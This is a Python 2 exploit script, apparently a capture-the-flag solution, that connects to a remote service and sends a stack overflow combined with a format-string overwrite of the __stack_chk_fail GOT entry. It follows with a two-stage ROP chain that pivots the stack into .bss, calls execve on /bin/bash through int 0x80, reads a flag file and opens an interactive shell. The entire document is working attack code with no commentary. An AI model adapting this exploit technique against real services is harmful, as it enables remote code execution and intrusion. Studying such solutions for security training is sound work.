#!/usr/bin/python
import struct
import socket
import telnetlib

def readuntil(f, delim='(y/n)? '):
    data = ''
    while not data.endswith(delim):
        data += f.read(1)
    return data

def pack(v):
    return struct.pack('<I', v)

def unpack(v):
    return struct.unpack('<I', v)[0]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('203.66.57.148', 9527))
f = s.makefile('rw', bufsize=0)

readuntil(f)
f.write('y\n')

time_len = len('22:10:35 ')

stk_chk_fail_got = 0x804a018
libc_start_main_got = 0x804A028
readline_addr = 0x80487B0
writestr_addr = 0x80487E4
bss_addr = 0x804A060 + 2048
pop_ebp_ret = 0x804886f
leave_ret = 0x80484c8
prompt_addr = 0x80488E4
sprintf_addr = 0x8048450
int80_addr = 0x80487FF
pop_ecx_ebx_ret = 0x8048807

payload = 'PPP' + pack(stk_chk_fail_got)
payload = payload.ljust(0x8c - time_len, 'A')
payload += 'B' * 4

rop = ''
rop += pack(readline_addr)
rop += pack(pop_ebp_ret)
rop += pack(bss_addr)
rop += pack(leave_ret)

payload += rop.ljust(44, 'D')
payload += 'C' * 8
payload += '%8x' * 10
payload += '%hhn'
payload += '\n'
f.write(payload)

stage2 = 'AAAA'
stage2 += pack(readline_addr)
stage2 += pack(pop_ebp_ret)
stage2 += pack(bss_addr + 1024)

stage2 += pack(sprintf_addr)
stage2 += pack(pop_ecx_ebx_ret)
stage2 += pack(bss_addr + 512)
stage2 += pack(bss_addr + 1024)
stage2 += pack(pop_ecx_ebx_ret)
stage2 += pack(0)
stage2 += pack(bss_addr + 1024 + 12)
stage2 += pack(int80_addr)

stage2 += '\n'

f.write(stage2)
f.write('A' * 11 + '\0' + '/bin/bash\n')

f.write('cat /home/callme/flag\n')

t = telnetlib.Telnet()
t.sock = s
t.interact()